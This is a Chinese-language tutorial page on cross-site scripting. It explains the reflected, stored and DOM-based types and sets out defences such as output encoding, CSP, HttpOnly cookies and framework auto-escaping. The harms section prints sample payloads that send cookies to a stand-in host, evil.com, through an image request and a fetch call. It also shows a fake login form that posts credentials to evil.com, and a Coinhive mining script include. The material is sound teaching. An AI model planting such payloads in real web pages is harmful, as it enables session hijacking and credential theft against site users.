Skip to content

XSS 跨站脚本攻击

概述

XSS (Cross-Site Scripting) 跨站脚本攻击是一种常见的 Web 安全漏洞,攻击者通过在网页中注入恶意脚本,窃取用户信息或执行恶意操作。

攻击原理

XSS 攻击的核心是:攻击者向网页注入恶意脚本,浏览器将其作为正常脚本执行

用户请求 → 服务器返回页面 → 页面包含恶意脚本 → 浏览器执行脚本 → 攻击成功

攻击类型

1. 反射型 XSS (Reflected XSS)

特点:恶意脚本来自 URL 参数,服务器将其反射回页面。

攻击示例

javascript
// URL: https://example.com/search?q=<script>alert('XSS')</script>

// 服务器代码(不安全)
app.get('/search', (req, res) => {
  const query = req.query.q
  res.send(`搜索结果: ${query}`) // 直接输出用户输入
})

// 浏览器执行
// 搜索结果: <script>alert('XSS')</script>

攻击流程

  1. 攻击者构造恶意 URL
  2. 诱骗用户点击链接
  3. 服务器将恶意代码反射回页面
  4. 浏览器执行恶意脚本

2. 存储型 XSS (Stored XSS)

特点:恶意脚本被存储在服务器(数据库、文件等),所有访问该页面的用户都会受到攻击。

攻击示例

javascript
// 攻击者在评论中提交恶意脚本
const comment = '<script>steal(document.cookie)</script>'

// 服务器存储评论
db.saveComment(comment)

// 其他用户访问时
app.get('/comments', (req, res) => {
  const comments = db.getComments()
  res.send(comments.map(c => `<div>${c}</div>`).join(''))
})

// 所有用户都会执行恶意脚本

攻击场景

  • 论坛帖子
  • 用户评论
  • 用户资料
  • 聊天消息

3. DOM 型 XSS (DOM-based XSS)

特点:恶意脚本不经过服务器,完全在客户端通过 DOM 操作注入。

攻击示例

javascript
// 不安全的 DOM 操作
const input = location.hash.slice(1) // 从 URL 获取
document.body.innerHTML = `Hello ${input}` // 直接插入 HTML

// URL: https://example.com#<img src=x onerror=alert(1)>
// 浏览器执行: <img src=x onerror=alert(1)>

攻击危害

javascript
// 恶意脚本
<script>
  new Image().src = 'https://evil.com/steal?cookie=' + document.cookie
</script>

2. 劫持会话

javascript
// 窃取 session token
<script>
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      session: document.cookie,
      url: location.href
    })
  })
</script>

3. 钓鱼攻击

javascript
// 伪造登录表单
<script>
  document.body.innerHTML = `
    <form action="https://evil.com/phish" method="POST">
      <input name="username" placeholder="用户名">
      <input name="password" type="password" placeholder="密码">
      <button>登录</button>
    </form>
  `
</script>

4. 挖矿脚本

javascript
// 使用用户 CPU 挖矿
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
                                                                     
</script>

防御措施

1. 输出编码 (Output Encoding)

原则:将特殊字符转换为 HTML 实体,防止浏览器将其解析为代码。

javascript
// HTML 编码
function escapeHtml(str) {
  const escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;'
  }
  
  return str.replace(/[&<>"'/]/g, char => escapeMap[char])
}

// 使用
const userInput = '<script>alert(1)</script>'
const safeOutput = escapeHtml(userInput)
// 结果: &lt;script&gt;alert(1)&lt;/script&gt;

// 在 HTML 中使用
element.innerHTML = `<div>${escapeHtml(userInput)}</div>`

不同上下文的编码

javascript
// HTML 内容
element.textContent = userInput // 安全
element.innerHTML = escapeHtml(userInput) // 安全

// HTML 属性
element.setAttribute('data-value', userInput)

// JavaScript 变量
const safeJson = JSON.stringify(userInput)

// URL 参数
const safeUrl = encodeURIComponent(userInput)

2. CSP (内容安全策略)

作用:限制浏览器只能加载指定来源的资源,防止内联脚本执行。

http
// HTTP Header
Content-Security-Policy: 
  default-src 'self'; 
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  font-src 'self' https://fonts.gstatic.com;
  frame-src 'none';
html
<!-- HTML Meta 标签 -->
<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self' https://cdn.example.com;
">

CSP 指令说明

  • default-src: 默认资源来源
  • script-src: JavaScript 来源
  • style-src: CSS 来源
  • img-src: 图片来源
  • connect-src: AJAX/WebSocket 来源
  • font-src: 字体来源
  • frame-src: iframe 来源

作用:防止 JavaScript 访问 Cookie,即使发生 XSS 攻击也无法窃取 Cookie。

http
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

属性说明

  • HttpOnly: JavaScript 无法访问
  • Secure: 只在 HTTPS 下传输
  • SameSite: 防止 CSRF 攻击

4. 使用安全的框架

Vue 自动转义

vue
<template>
  <!-- 自动转义,安全 -->
  <div>{{ userInput }}</div>
  
  <!-- 危险!不要使用 v-html -->
  <div v-html="userInput"></div>
</template>

React 自动转义

jsx
function SafeComponent({ userInput }) {
  // 自动转义,安全
  return <div>{userInput}</div>
}

// 危险!不要使用 dangerouslySetInnerHTML
function UnsafeComponent({ userInput }) {
  return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

5. 输入验证

白名单验证

javascript
function validateInput(input) {
  // 只允许字母、数字、下划线、连字符
  const allowedPattern = /^[a-zA-Z0-9_-]+$/
  
  if (!allowedPattern.test(input)) {
    throw new Error('Invalid input')
  }
  
  return input
}

长度限制

javascript
function validateLength(input, maxLength = 100) {
  if (input.length > maxLength) {
    throw new Error('Input too long')
  }
  return input
}

XSS 检测工具

1. 自动化扫描

bash
# OWASP ZAP
zap-cli quick-scan https://example.com

# XSStrike
python xsstrike.py -u "https://example.com/search?q=test"

2. 浏览器插件

  • XSS-Ray
  • XSS Chef
  • Burp Suite

最佳实践

1. 永远不要信任用户输入

javascript
// ❌ 错误
element.innerHTML = userInput

// ✅ 正确
element.textContent = userInput
element.innerHTML = escapeHtml(userInput)

2. 使用安全的 API

javascript
// ❌ 危险
element.innerHTML = userInput
document.write(userInput)
eval(userInput)

// ✅ 安全
element.textContent = userInput
element.setAttribute('data-value', userInput)

3. 最小权限原则

http
// 只允许必要的资源
Content-Security-Policy: default-src 'self'; script-src 'self'

4. 定期安全审计

  • 代码审查
  • 自动化扫描
  • 渗透测试

相关资源

基于 VitePress 的本地知识库